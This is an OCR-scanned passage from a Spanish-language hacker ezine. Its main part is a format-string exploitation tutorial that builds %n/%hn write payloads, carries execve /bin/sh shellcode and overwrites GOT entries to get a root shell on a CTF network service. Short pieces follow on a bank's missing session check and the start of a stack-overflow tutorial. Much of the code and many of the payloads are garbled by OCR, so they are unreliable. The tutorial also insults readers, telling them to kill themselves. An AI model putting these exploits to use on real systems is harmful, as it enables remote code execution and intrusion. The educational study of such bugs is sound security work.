-—-fmt.c---
#include <stdio.h>
#include <stdlib.h>

int main(int argc, char **argv)
{
char buf[256];
unsigned long test=&test;
char buf2[l12]="aaaaaaaaaaa\x00";

snprintf (buf,256,argv[1l]); //here's the problem
buf[255]="\0";

printf ("$s\n",buf) ;
printf ("$x\n", test) ;
printf ("%$s adr: %.8x\n",buf2, sbuf2);

return 0;
}
--—fmt.c-—--
Como puedes ver el problema esta en el sprintf(), porque? porque no le
estamos diciendo que formato usar para los datos, y lo espera en su
funcion:

int sprintf (char *str, const char *format, ...);

Asi pues gque pasa si se encuentra un %x pero no hay nada? toma lo
siguiente que hay en el stack para imprimirlo, pero que es?, pues todo el
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stack! hasta las direcciones de retorno!!! vy que pasa cada vez que
imprimes?, simplemente lo saca del stack porque como ya lo imprimio? y es
lo que llamamos "Avanzar el stack".

Que pasa cuando jalamos el programa?

0x8048430 <main>: push sebp

0x8048431 <main+1>: mov %esp, sebp
0x8048433 <main+3>: push %edi
0x8048434 <main+4>: push %esi

Salvamos la direccion de retorno, la direccion del stack (Frame pointer)
empujamos todo al stack y empezamos a inicializar las variables. Para que
nos sirve la direccion de retorno?, bueno per sSe un programa nunca
termina, es decir, tu regresas control al programa anterior, que programa
tenias antes? el shell. Como vez? ahh verdad los puristas de asm ahora si
estaran felices de la rectificacion de pendejadas que siempre se cometen
en este tema, bueno a seguir.

[root@XtremeLinux format]# ./fmt
AARAAS.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%
AAAA000007d961616161616161610061616140013bc80000000340013e4800000001bffff
alc41414141

bffffalc

aaaaaaaaaaa adr: bffffofo0

[root@XtremelLinux format]#

Que vemos aqui? Se ve un desmadre vamos a poner espacios para ver mejor,
hay que ponertodo dentro de "" para qgque sepa que sigue siendo argv[l]
okas?

[root@XtremeLinux format]# ./fmt "AAAA%.8x %.8xX %.8xXx %$.8x %.8x %.8x %.8x
%.8x %$.8x %.8x"

AAAAQ000007d9 61616161 61616161 00616161 40013bc8 00000003 40013e48
00000001 bffff9fc 41414141

bffffofc

aaaaaaaaaaa adr: bffff9el

[root@XtremeLinux format]#

Ahh que puta diferencia!!! hay algunas cosas que como que se me hacen
medio conocidas:

A == 0x41 (hexadecimal)
a == 0x61 (hexadecimal)

Del fmt.c vemos que:

char buf[256];
unsigned long test=&test;
char buf2[l2]="aaaaaaaaaaa\x00";

Vemos AAAA luego algo raro luego 61616161 que es aaaa luego 00616161
(aaa\0) luego parte del syscal de kernel, un argumento, otra direccion,
un 1, luego una direccion y luego 41414141, gque sera la direccion? la
direccion de donde esta test chequen que es la misma que se imprime un
renglon abajo.
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Entonces ya sabemos donde estamos no?, si ... no ... si ... no .. no han
entendido? man printf, gdb ./fmt y art of assembly si que les van a
ayudar.

Escribamos sobre alguna direccion, empecemos a escribir sobre 1la
direccion de test como ven?, no no les estoy preguntando chingada
madre... vamos a escribir y me vale madre.

Para escribir usamos %n, es muy importante recordar que %n imprime el
numero de caracteres que se debarian de haber impreso hasta ese momento,
chequen como digo el numero de chars que se DEBERIAN de haber impreso no
los que se han impreso okas??

Veamos en fmt:

[root@XtremeLinux format]# ./fmt "AAAA%.8x %$.8x %$.8x %$.8x %.8x %.8x %.8x
%$.8x %n %.8x"

AAAA000007d9 61616l6l 6l6lol6l 00616161 40013bc8 00000003 40013e48
00000001 41414141

4c

aaaaaaaaaaa adr: bffff9el

[root@XtremelLinux format]#

Verga, cambio la direccion a 4c y ademas ya no aparecio en el siguiente
%.8x, porque?, por lo que les habia comentado lo saca del stack, y de que
nos sirve esto?...

Si todavia se preguntan esto lentamente cierra este documento, apaga tu
computadora destruye tus libritos de como hackear hotmail, de como
isntalar subseven y suicidate. Gracias menos script kiddiez.

Okas no te has suicidado o no me hiciste puto caso o quieres aprender
(Bravo! neesitamos menos weyes que roben programas de los demas y menos
weyes que sean pendejos ./). Si queremos veamos sSi queremos escribir
Oxbeef pondriamos 48811 veamos:

[root@XtremeLinux format]# ./fmt "AAAA%.8x %.8xX %.8x %$.8x %.8x %.8x %.8x
%$.48811x %n %.8x"

AAAAQ000007d9 61616161 61616161 00616161 40013bc8 00000003 40013e48
0000000000000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000

beef
aaaaaaaaaaa adr: bffff9el
[root@XtremelLinux format]#

Pero, pero 48811 en hexa no es beef, claro que no estas tomando en cuenta
todos los otros chars que estas imprimiendo tambien o no? ahhhhh verdad?
suma y veras que si da =)

Si quisieras escribir Oxbfffbeef tendrias gque mandar alrededor de 250+
megas a la consola lo cual duraria entre 5 y 10 minutos, que hueva no?
PERO si leemos lo que es la especificacion de %n podemos ver que es swtch
h es un half world write, es decir solo escribe 2 bytes en lugar de los
4, que quiere decir esto? chequen:
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[root@XtremelLinux format]# ./fmt "AAAA%.8x %$.8xX %$.8x %$.8x %.8x %.8x %.8x
$.48811x S$hn %.8x"

AAAAQ000007d9 6161616l 61l6lol6l 00616161 40013bc8 00000003 40013e48
0000000000000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000

bfffbeef
aaaaaaaaaaa adr: bffff9el
[root@XtremeLinux format]#

VERGA! escribimos una direccion de donde tomo la otra parte? de la parte
que estaba ahi, solo escribimos 2 bytes o sea 16 bits de la direccion no
los 32 buts completos. para gque nos sirve esto? para poder hacer
escrituras en dos partes y por lo tanto poder escribir mas rapido y con
mas exactitud.

Pero como puedo hacer para escribir en un lugar chingon?, chingon
escribir en cualquier lugar pero no querias chigar el puto EIP o algo del
GOT no? bueno bueno si le pones la direccion de donde quieres escribir
puedes cambiar lo que quieras de esa direccion, checa:

[root@XtremelLinux formatl# ./fmt “perl -e 'print "\x3c\xfI\xffi\xbf";
print "\x90" x 200; print
"AAAAS.8x%.8x%.8x%.8x%.8x%.8x%.8x%.48811x%n%.8x";"'"

Culylle AAAA000007d9616161616161616100616161400130c80000000

bfb3

aaaaaaaaaaa adr: bffff920

[root@XtremeLinux format]#

El half word write sigue funcionando?? veamos:

[root@XtremeLinux formatl# ./fmt “perl -e 'print "\x3c\xfI\xffi\xbf";
print "\x90" x 200; print
"AAAAS.8x%.8xX%.8x%.8x%.8x%.8x%.8x%.8x%.48811x%hn%.8x";"'"

Culylle AAAA000007d9616161616161616100616161400130c80000000

bfffbfb3

aaaaaaaaaaa adr: bffff920

[root@XtremeLinux format]#

Pues si si jalo pero como se que en serio estoy escribiendo donde debe?
cambia la dir a ver que pasa =)

[root@XtremelLinux format]# ./fmt “perl -e 'print "\xcc\xfI\xffi\xbf";
print "\x90" x 200; print
"AAAAS.8x%.8xX%.8x%.8x%.8x%.8x%.8x%.8x%.48811x%hn%.8x";"'"

Culylle O»[: AAAA000007d961616161616161610061616140013bc80000000
bffff92c

aaaaaaaaaaa adr: bffff910

[root@XtremeLinux format]#

Chequen una cosita tuve que poner uno de mas para que se fue a la dir!!!
es por el extra pop =), los pops pueden variar por uno en caso de tu gcc,
ya que algunos (arriba del gcc 2.95) alinean %8 para mayor velocidad asi
que tienes un pop de mas
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Es mas veamos si podemos poner una direccion completa nosotros no? como
modificamos la primera parte?, bueno lo que haces es que hacemos dos %hn
pero entre canda uno ponemos BBBB (4 bytes) para que sea el input de
printf() y que no te de segfault en sistemas extraZfios (asi tenemos
completa generalidad en la explotacion).

entonces queda:
<direccion><4 bytes><direccion +2><NOPS><los %x>%hn<%x>%hn
asi pues:

[root@XtremelLinux formatl# ./fmt “perl -e 'print "\x2c\xfI\xff\xbf";
print "AAAA"; print "\x2e\xfI\xff\xbf"; print "\x90" x 192; print
"AAAAS.8X%.8x%.8x%.8x%.8x%.8xX%.8x%.8x%.48811x%hn%.1000x%hn"; """
,[1%/1€Z2is08859-150 il AAAA.[1$/1€Zis08859-

150 a0yl AAAA000007d961616161616161610061616140013bc80000000
c3a3bfbb

aaaaaaaaaaa adr: bffff910

[root@XtremeLinux format]#

Como ponemos las direcciones? ahi esta lo duro y tupido. Veamos veamos

La primera fase es facil beef == 48879 y le quitamos lo que hemos impreso
208 bytes (4 de la primera direccion, 4B, 4 de la segunda y 192 nops),
tambien le quitamos 8 veces el del 8 programas (8 * 8 == 64) o sea el

primero es 48607. De ahi sigue le segunda parte que esta un poco mas
dificil como vamos a hacer un short write solo vamos a escribir 2 bytes
(Oxffff no Oxffffffff), pero ya escribimos un chingo, entonces hay que
ver que pedo, hacemos un wrap around, es decir subtraemos lo que vya
escribimos de 1bfff y le ponemos lo que queremos escribir!

1bfff - beef = 65808

[root@XtremelLinux formatl# ./fmt “perl -e 'print "\x2c\xfI\xff\xbf";
print "AAAA"; print "\x2e\xfI\xff\xbf"; print "\x90" x 192; print
"AARAAS.8xX%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.48607x%hn%.65808x%hn";"'"
,1%/1€7%2i508859-150uy¢AAAA.[1$/1€%1i508859~

1500y ¢ AAAA000007d961616161616161610061616140013bc80000000

bfffbeef

aaaaaaaaaaa adr: bffff910

[root@XtremeLinux format]#

Ya dio miedo no? y de que chingados me sirve eso?, pues que tal escribir
cualquier direccion que quieras? y donde quieras?

Toma en cuenta que las primeras direcciones son donde quieres escribir vy
la segunda la direccion gque quieres escribir, veamos primero chequemos
donde esta nuestro buffer y de paso le ponemos shellcode digo para que de
un shell o algo asi bonito no?

Vamos a usar este shellcode:
"\x31\xd2\x31\xc9\x31\xdb\x31\xc0\xb0\xa4\xcd\x80\xb0\x2e\xcd\x80\xeb\x15

\x5b\x89\x5b\x08\x31\xc0\x88\x43\x07\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x31\
xd2\xcd\x80\xe8\xeb\xff\xff\xff/bin/sh\x90\"
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Un simple execve () de /bin/sh, nada raro

[root@XtremeLinux format]# ./fmt “perl -e 'print "\x2c\xfI\xff\xbf";
print "AAAA"; print "\x2e\xfI\xff\xbf"; print "\x90" x 138; print
"\"\x31\xd2\x31\xc9\x31\xdb\x31\xc0\xb0\xad\xcd\x80\xb0\x2e\xcd\x80\xeb\x
15\x5b\x89\x5b\x08\x31\xc0\x88\x43\x07\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x3
1\xd2\xcd\x80\xe8\xeb\xff\xff\xff/bin/sh\x90\""; print
"AARAAS.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.48607x%hn%.65808x%hn";"'"
10%/1€"is08859-
15[10Teayyy/bin/sh"ARAA000007d961616161616161610061616140013bc80000000
bfffbeef

aaaaaaaaaaa adr: bffff910

[root@XtremeLinux format]#

Ahora escribimos en otro lugar para ver que direccion esta test:
[root@XtremelLinux formatl# ./fmt “perl -e 'print "\x4c\xfI\xffi\xbf";
print "AAAA"; print "\x4e\xfo\xff\xbf"; print "\x90" x 138; print
"\"\x31\xd2\x31\xc9\x31\xdb\x31\xc0\xb0\xad4\xcd\x80\xb0\x2e\xcd\x80\xeb\x
15\x5b\x89\x5b\x08\x31\xc0\x88\x43\x07\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x3
1\xd2\xcd\x80\xe8\xeb\xff\xff\xff/bin/sh\x90\""; print
"AAAA%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.48607x%hn%.65808x%hn"; '’

100%/1€” 1508859~
150001éayyy/bin/sh"AAAA000007d961616161616161610061616140013bc80000000
bffff92c

aaaaaaaaaaa adr: bffff9olo0

[root@XtremelLinux format]#

Oxbffff92c es la direccion donde esta test, donde estara nuestro buffer?
256 bytes abajo!, le sumamos unos 16 mas para poder caer bien en los NOPs
(0x90 es una ayudita no?) entonces nuestro buffer estara en la direccion
Oxbffff83c, vamos a armar la direccion primero

[root@XtremeLinux formatl# ./fmt “perl -e 'print "\x2c\xfI\xffi\xbf";
print "AAAA"; print "\x2e\xfI\xff\xbf"; print "\x90" x 138; print
"\"\x31\xd2\x31\xc9\x31\xdb\x31\xc0\xb0\xad\xcd\x80\xb0\x2e\xcd\x80\xeb\x
15\x5b\x89\x5b\x08\x31\xc0\x88\x43\x07\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x3
1\xd2\xcd\x80\xe8\xeb\xff\xff\xff/bin/sh\x90\""; print
"AAAAS.8xX%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.63276x%hn%.51139x%hn";"'"
10%/1€"is08859-
15000Teayyy/bin/sh"AARAA000007d961616161616161610061616140013bc80000000
bffff83c

aaaaaaaaaaa adr: bffff910

[root@XtremeLinux format]#

Escribir sobre la direccion de test para verificar si lo hice bien, yo si
y tu?
Ahora vamos a lo dificil escribir sobre el EIP, donde estara el eip?

esta 8 bytes abajo del buffer que esta 256 bytes abajo de la variable
test, asi como sabemos la direccion de test (0xbffff92c) le restamos vy
escribimos ahi:

[root@XtremeLinux format]# ./fmt “perl -e 'print "\x24\xf8\xff\xbf";
print "AAAA"; print "\x26\xf8\xff\xbf"; print "\x90" x 138; print
"\"\x31\xd2\x31\xc9\x31\xdb\x31\xc0\xb0\xad4\xcd\x80\xb0\x2e\xcd\x80\xeb\x
15\x5b\x89\x5b\x08\x31\xc0\x88\x43\x07\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x3

20



www.raza-mexicana.org (ezinel4)

1I\xd2\xcd\x80\xe8\xeb\xff\xff\xff/bin/sh\x90\""; print
"AARAS.8xX%.8x%.8x%.8x%.8x%.8x%.8x%.8x%.63276x%hn%.51139x%hn";"'"
bffff92c

aaaaaaaaaaa adr: bffff9o10

sh-2.05a#

mira mira! ya pudimos explotar codigo, ahora que pasa si escribes dentro
del GOT? el GOT es la parte del heap en donde esta toda la tabla de
comandos que se ejecutan en cada programa. Hace poco hubo un con e
hicieron un catura la bandera, como taba carito no pude ir pero dejaron
la solucion y los programas dentro de su paginita: www.g-con.org

Uno de esos era un programa que tenia un format bug, remoto para esos es
poder tener una entrada de got para que funcione siempre porque el stak
se puede mover mucho ademas que bueno aqui medio veiamos el stack, en
este tambien un poco pero sirve para usar la siguiente forma de ataque al
GOT.

Aqui esta el programa que tenian ellos en el server:

-—--listado.c—---
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>

#define INFO_PONENCIAS '
#define INFO GCON '2'
#define INFO_PONENTES '3'
#define SALIR '4'

#define MENU '5'

struct ponentes {
char *ponente;
char *informacion;
char *ponencia;

} ponencias[] = {
{"pepito", "ponente en blackhat", "como romper pepitos"},
{"anakata", "http://www.anakata.hack.se", "Complex
explotation scenarios, including memcpy (), also various shellcodes."},
{"aitel", "Dave Aitel es el fundador y consultor de

seguridad de Immunity, Inc. Sus contribuciones publicas al mundo de la
seguridad incluyen SPIKE, suite de aplicaciones de control y analisis. Y
Vulnerabilidades en mayor manera hacia sistemas Windows NT RPC y

Microsoft Exchange y Microsoft SQL Server 2000.", "Advanced windows
overflows"},

{"richarte", "Gerardo Richarte es Director de CORE SECURITY
TECHNOLOGIES.", "Advanced PTrace explotation and Automated Pen-
testing."},

{"guillermo", "Kaspersky Lab Chief Research Officer.",
"Advanced PE Steganographic infection"},

{"enrique", "Kaspersky Lab Chief Technicall Officer.",

"Advanced polimorfic virus with steganographic parser on UNIX, Beating
the forensics analizis (Stego tool) and Taking over a corporative network
in less than 50 lines of C code"},
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}s

void
void
void
void

char

{NULL, NULL,

ImpMenu (int fd, char *nombre);
Info Ponencias (int fd);

Info Gcon(int £fd);

Info Ponentes (int £d);

ObtOpcion () ;

int main (void) {

char opcion = 0;
int 1 = 0, cli size;
char nombre[256];

int s, c;

struct sockaddr in ser, cli;

bzero (nombre,

if ((s = socket (AF INET,
perror ("socket ()");
return -1;

}

ser.sin family =
ser.sin addr.s addr =
ser.sin port =

AF INET;

if (bind (s,
perror ("bind () ") ;
return -1;

}

if(listen(s, 3) ==
perror ("listen ()"
return -1;

-1) |
)7

}

sizeof (nombre)) ;

SOCK_STREAM,

INADDR_ANY ;
htons ( (unsigned short

(struct sockaddr *) &ser,

(struct sockaddr *)&cli,

while (1) {
if((c = accept(s,
perror ("accept ()");
continue;
}
write(c, "Introduce tu nombre:

read(c, nombre,

if (nombre[strlen (nombre)-1]

11="\0";
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while (1) {
opcion = 0;

while (!opcion)
opcion = ObtOpcion (c);

switch (opcion) {

case MENU: ImpMenu(c, nombre); break;

case INFO_ PONENCIAS: Info Ponencias(c); break;
case INFO_GCON: Info Gcon(c); break;

case INFO PONENTES: Info Ponentes(c); break;
case SALIR:

write(c, "\r\n\r\nAplicacion saliendo...\n",
strlen ("\r\n\r\nAplicacion saliendo...\n"));
// close(c); close(s);

exit (0); break;
}

}

close(c);
}
if (c) close(c);
close(s);
return 0;

}

void ImpMenu (int fd, char *nombre) {
char menul[4096];

bzero (menu, sizeof (menu));

snprintf (menu, 4095, "\nBienvenido %s, escoje una opcion:\nmenu
Imprime el menu\nl : Informacion sobre las ponencias\n2
Informacion sobre g-con\n3 : Informacion sobre los ponentes\n4
Salir\n\n", nombre);

write (fd, menu, strlen (menu)):;

}

void Info Ponencias (int fd) {
int num = 0, x = 0, y = 0, i;
char ponente[256], actual[256], original[256];

bzero (ponente, sizeof (ponente));
bzero(original, sizeof (original));

while (ponencias[num] .ponencia)
num++;

write(fd, "Escribe nombre del ponente: ",
strlen ("Escribe nombre del ponente: "));

read (fd, ponente, sizeof (ponente)-1);

if (ponente[strlen (ponente)-1] == '\n') ponente[strlen (ponente)-
11="\0";
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strcpy (original, ponente);

for (i=0;i<strlen (ponente) ;i++)
ponente[i] = tolower (ponentel[i]);

for (1=0; i<num; i++) {
bzero (actual, sizeof (actual)):;

for (y=0;y<strlen (ponencias[i] .ponente) || y <
sizeof (actual)-1; y++)
actual[y] = tolower (ponencias[i].ponentely]);

if (strstr(actual, ponente)) {

X++;

write (fd, "\r\n", 2);

bzero (actual, sizeof (actual)):;

snprintf (actual, sizeof (actual) -1,
"Ponente: %s\nPonencia: %s\n",
ponencias[i] .ponente,

ponencias[i] .ponencia);
write (fd, actual, strlen(actual)):;

}

1f(!'x) |
bzero (actual, sizeof (actual));
snprintf (actual, sizeof (actual)-1,
"\r\nNo se encontro ningun ponente llamado %s\n",
original);
write (fd, actual, strlen(actual)):;

}

void Info Gcon (int fd) {
char gcon(]=
"hola\n";

write (fd, gcon, strlen(gcon));
}
void Info Ponentes (int fd) {
int num = 0, x = 0, y = 0, 1i;
char ponente[256], actual[256], original[256];

bzero (ponente, sizeof (ponente));
bzero (original, sizeof (original));

while (ponencias[num] .ponencia)
num++;

write (fd, "Escribe nombre del ponente: ",
strlen ("Escribe nombre del ponente: "));
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11="\0";

read (fd, ponente, sizeof (ponente)-1);

if (ponente[strlen (ponente)-1] == '\n') ponente[strlen (ponente)-

strcpy (original, ponente);

for (i=0;i<strlen (ponente) ;i++)
ponente[i] = tolower (ponentel[i]);

for (1=0; i<num;i++) {
bzero (actual, sizeof (actual)):;

for (y=0;y<strlen (ponencias[i] .ponente) || y <
sizeof (actual)-1; y++)
actual[y] = tolower (ponencias[i].ponentely]);
if (strstr(actual, ponente)) {
X++;

write (fd, "\r\n", 2);:
bzero (actual, sizeof (actual));
snprintf (actual, sizeof (actual)-1,
"Ponente: %s", ponencias[i].ponente);

write (fd, actual, strlen(actual));

if (ponencias([i].informacion) {
bzero (actual, sizeof (actual)):;
snprintf (actual, sizeof (actual)-1,
"Informacion: %s\n",
ponencias[i].informacion) ;

write (fd, actual, strlen(actual)):;

}

else write(fd, "No hay informacion disponible\n"
strlen("No hay informacion

disponible\n")) ;

}
}
if(!'x) |
write (fd, "\r\n", 2);
write (fd, "No se encontro ningun ponente llamado ",
strlen ("No se encontro ningun ponente llamado "));
bzero (actual, sizeof (actual));

snprintf (actual, sizeof (actual)-1, original);

write (fd, actual, strlen(actual)):;
write (fd, "\n", 1);

14
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char ObtOpcion (int fd) {
char car[256], buf[256];

bzero (car, sizeof(car));
bzero (buf, sizeof (buf));

write(fd, "> ", 2);

read (fd, car, 255);

car[255]=0;

if (car[strlen(car)-1] == '\n') car[strlen(car)-1] = '"\0';
if (strlen(car) < 3) {

switch(car[0]) {
case INFO PONENCIAS: return INFO PONENCIAS;

break;
case INFO _GCON: return INFO _GCON; break;
case INFO_PONENTES: return INFO PONENTES; break;

case SALIR: return SALIR; break;
}
if (!strcmp (car, "menu")) return MENU;
snprintf (buf, sizeof (buf)-1, "opcion %s no valida\n", car);
write (fd, buf, strlen(buf));
return 0;
}
---listado.c---
Veamos entonces:
[root@XtremeLinux Format Appl# ./listado2 &
[root@XtremeLinux Format Appl# nc -vvn 127.0.0.1 9999
(UNKNOWN) [127.0.0.1] 9999 (?) open
I

ntroduce tu nombre: 0x90

Bienvenido 0x90, escoje una opcion:

menu : Imprime el menu

1 : Informacion sobre las ponencias
2 Informacion sobre g-con

3 : Informacion sobre los ponentes
4 Salir

> 3

Escribe nombre del ponente: AAAA%.8x%.8x%.8x%.8x%.8x
No se encontro ningun ponente llamado

AAAA000000004141414178382e2578382e2578382e25
> 4
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Aplicacion saliendo...
sent 34, rcvd 347
[root@XtremeLinux Format App]#
Pues si ahi esta el puto format bug, vamos wvamos!!!
puede!

si se puede si se

Okas primero veamos que putas funciones corre y en que direccion estan:
[root@XtremeLinux Format Appl# objdump -R listado2
listado2: file format elf32-1386

DYNAMIC RELOCATION RECORDS

OFFSET TYPE VALUE

0804acb8 R 386 GLOB DAT __gmon_start
0804ac6c R 386 JUMP SLOT __register frame info
0804ac70 R 386 JUMP_SLOT write

0804ac74 R 386 JUMP SLOT strcmp

0804ac78 R_386 JUMP SLOT perror

0804ac7/c R 386 JUMP SLOT accept

0804ac80 R 386 JUMP SLOT tolower

0804ac84 R 386 JUMP SLOT  listen

0804ac88 R 386 JUMP SLOT ___deregister frame info
0804ac8c R 386 JUMP SLOT strstr

0804ac90 R 386 JUMP SLOT strlen

0804ac9%4 R 386 JUMP_ SLOT __libc _start main
0804ac98 R 386 JUMP SLOT  bind

0804ac9c R 386 JUMP SLOT snprintf

0804acal0 R 386 JUMP SLOT bzero

0804aca4 R 386 JUMP_ SLOT exit

0804aca8 R 386 JUMP SLOT htons

0804acac R 386 JUMP SLOT socket

0804acb0 R 386 JUMP SLOT read

0804acb4 R 386 JUMP SLOT strcpy

[root@XtremeLinux Format App]#
tenemos las direcciones ahora solo tenemos que ver que pedo con ellas:
Todo el desmadre esta en Info Ponentes()
---listado.c---
if(!x) {
write (fd, "\r\n", 2);
write (fd, "No se encontro ningun ponente llamado ",
strlen ("No se encontro ningun ponente llamado "));
sizeof (actual));

bzero (actual,

snprintf (actual, sizeof (actual)-1, original);

write (fd, actual, strlen(actual)):;
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write (fd, "\n", 1);

---listado.c---
chequen el snprintf () pusieron un strcpy() arriba para despistar pero los

tamanios son los mismos ni pedo la vida es asi al format =/

Bueno entonces tenemos que podemos hacer el format y sabemos donde esta,
podemos sobrescribir el write o sobrescribir el exit y despues mandar el
4 para que salga y te de el pinche shell la que quieras, hay pen pegqueiio
puto problema:

Ven dentro de listado.c la siguiente puta linea??

for (y=0;y<strlen (ponencias[i] .ponente) || y <

sizeof (actual)-1; y++)
actual[y] = tolower (ponencias[i] .ponentely]);

Pues si el hijo de la chingada que hizo esto hace tolower() lo que hace
mierda la mayoria de los shellcodes que hay remotos (chequen que hay que
poner un dup(0), dup(l), dup(2) -> execve()->/bin/sh si no no jala!),
puta madre ahora que hacemos?, pues nada we nada, tomar la direccion del
original a ese no le aplican el pinche tolower()!!! a buscar a buscar en
el gdb hay que buscar ... no es bonito y les da mucha ilusion?

Quien sabe usar gdb quien quien gquien? nadie? pocos? muchos?

manden 41424344 y busquenlo en la memoria, de ahi saben la direccion que
deben ustedes de poner en la escritura, yo recomiendo usar exit () ya que
write truena bastante, Jjala bonito eh .. bastante:

[root@XtremeLinux g-conl# ./x-listado 127.0.0.1

sending

Linux Xtremelinux.raza-mexicana.org 2.4.18-3 #1 Thu Apr 18 07:37:53 EDT
2002 1686 unknown

uid=0 (root) gid=0 (root)
groups=0 (root),1 (bin), 2 (daemon), 3 (sys), 4 (adm), 6 (disk), 10 (wheel)

exit

[root@XtremeLinux g-con]#

Bueno eso es todo, la hueva intrinseca no da para mas, en caso de tener
algun problema 0x90@raza-mexicana.org y les contesto.

Intentenle y calenle, hay de todo por ahi, como ataques a syslog() vy
demas. Prometo escribir la version avanzada en la proxima ezine.

0x90
"The louder the music the better the code!"
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Un banco de tantos
Por Kukulkan (kukulkan@raza-mexicana.org)

Hasta hace unos afios, muchos bancos han iniciado las transacciones
en linea, pero desgraciadamente en México muchos de los administradores
desconocen los principios Dbasicos de seguridad, o Dbien, utilizan
programas para crear sus portales web descuidando la seguridad.

En este articulo hablaremos "hipoteticamente" de un banco, al que
no le es vital la seguridad de su sitio.

Este articulo nacio ante un descubrimiento, en el cual me pregunte,
":a que persona le gustaria que su dinero esté en un banco inseguro?", a
nadie claro, muchas peliculas han explotado este tema, fraudes
millonarios en bancos multinacionales, y siempre hay un ruso experto en
criptografia y un 1337 Uber hacker a su lado, pero esto es una gran
exageracioén.

Una persona con algo de tiempo libre, conocimientos Dbéasicos de
progrmacion, una magquina con un unix (tal vez hasta con windows) y mucha
curiosidad puede encontrar muchas cosas interesantes, asi es como la
mayoria de la gente famosa ha hecho grandes cosas, no por ser un genio o
gastar 400,000 pesos en su educacidén, sino por el solo hecho de ser
curioso.

Supongamos dgque un banco usa una autentificacién por medio de una
base de datos, su sitio corre en algun windows, unix o algo parecido.
Para mantener la comunicacion entre el cliente y el servidor se necesita
algo que sea muy seguro, digamos que utilizan SSL para enciptar todo el
trafico (que sea muy seguro, verdad?) este sitio tiene 128 bits de

encripcién, es mnuy seguro...... pero que pasaria si el
extraordinariamente talentoso programador (quien tal wvez wutilizo su
visual algot++) se le olvido un pequefio detalle, supongamos que la
autentificacidén es excelente, pero que se le olvide hacer una

comparacion, verificar que la llave que tiene el usuario ahora conectado,
corresponda a sus datos, esto es, que la llave para cifrar el trafico sea
coherente con el nombre y cuenta del usuario.

Si esto no se hiciera, ¢qué podria pasar?, pues bien, si olvidaran
hacer esta simple verificacidén cualquier usuario podria entrar con su
llave y cambiar la cuenta, esto es, podria ver las cuentas de otras
personas sin ningun problema, lo cual es un ENRORME atentado contra la
provacidad de los usuarios de ese banco, y simplemente por un pequefio
error, de que alguien con curiosidad podria intentarlo, esto no deberia
pasar si este banco tuviera un esperto almenos en seguridad, o contratara
a un auditor para verificar la seguridad de todo lo gque se ponga en red,
actualmente en México existe la capacidad para no llegar a ese punto,
solo falta que los mismos mexicanos crean en la gente, que un mexicano es
capaz de hacer y mejor lo mismo gque un extranjero, para proyectos de
informatica no se requiere alta tecnologia, solo cerebro y una
computadora.
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Explotando stack overflows en UNIX x86
Por dex (dex@raza-mexicana.org)

1. Introduccién

A lo largo del tiempo, se han publicado muchos textos sobre como explotar
buffer overflows en el stack, pero la mayoria son en otros lenguajes,
como ingles, portugués, alemén, etc.

En este texto pretendo ayudar a las personas a comprender como se
explotan los stack overflows, aunque no incluiré ayuda de como hacer
shellcodes, incluiré técnicas de explotacién, que es lo que la gente
necesita primero.

Al igual, no creo que este texto sea el texto mas "Para novatos" que se
pueda encontrar, ya que usa tal vez muchos tecnicismos y es posible que
muchas personas se confundan.

Para poder comprender a la perfeccidén este articulo, recomiendo que el
lector tenga una idea sobre el lenguaje ensamblador, sobre como funciona
el stack, la memoria, conocimientos sobre el lenguaje C, UNIX,
conocimientos sobre como funcionan los ntmeros hexadecimales y el uso de
gdb.

Nota: No pretendo que este articulo sea uno mas de los 250 que hay, sino
que pretendo que la gente mexicana se digne a leerlo, ya que mucha gente
pregunta como, por algunas razones como gue no logran entender los textos
en ingles, o porque simplemente son demasiado técnicos y/o avanzados.

2. Primeros pasos
En este punto pretendo darle a conocer al lector todas las ideas béasicas
sobre un stack overflow, primero que nada.

2.1 Que es un stack overflow?

Un stack overflow es un bug de seguridad gque se ocasiona porque el
programador no presto atencidédn o no se dio cuenta que la gente podia
pasar mas informacién de la que en su variable cabia.

En si los buffer overflows fueron descubiertos a principios de los
ochenta, pero no fue hasta 1988 cuando el worm de Internet 1llamado
"morris" le informo del peligro de estos errores de seguridad a la gente.

Ahora, para las personas dque no entendieron esto ultimo, les daré un
ejemplo claro sin tecnicismos:

Que pasa cuando una persona compra una Jjarra con capacidad de 1 1litro
pero le gquiere meter 2 litros?, la respuesta es muy obvia, el liquido se
desborda, es exactamente lo mismo que pasa aqui, pero relacionado con la
computacidén puede causar cosas muy interesantes :)

2.2 Y a mi de que me sirve todo esto?

Has oido en las noticias alguna vez algo como esto?:

1. "El nuevo worm masivo Tal.tal.e se aprovecha de un fallo de
programacidén en Microsoft IIS para pasar a través de los servidores e
infectarlos".

2. "El bug de seguridad anunciado por empresa Patito ha causado que un
joven de 17 a~os <creara una utilidad para pasar a través de los
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servidores de la NASA utilizando este mismo fallo, y asi controlando toda
la red y causando perdidas de dinero masivas".

Pues si, en muchos casos todos estos errores son explotables, y en muchos
casos estos errores son stack overflows (Me atreveria a decir que en la
mayoria) .

Vamonos a un termino mas "Underground": Alguna vez has bajado un exploit
de tu sitio favorito y te pusiste a jugar con el?, si el bug de
seguridad que este mismo explotaba era un stack overflow, entonces ahora
puedes saber como explotarlos.

2.3 Entonces si yo busco en securityfocus un bug por un stack overflow
puedo utilizarlo y controlar todos los servidores de Internet?

Obviamente no, pero si la empresa en la que trabajas tiene un error asi,
puedes darte el lujo de explotar este fallo para ver que tan lejos puede
llegar un atacante, o si eres un atacante, entonces puedes utilizarlo
para entrar a ese servidor que tanto tiempo has querido entrar.

3 Entremos a la practica.

Un ejemplo de un cédigo con un bug de este tipo podria ser asi:

#include <stdio.h>
#include <unistd.h>
int main(void) |
char buf[8], as[25];,
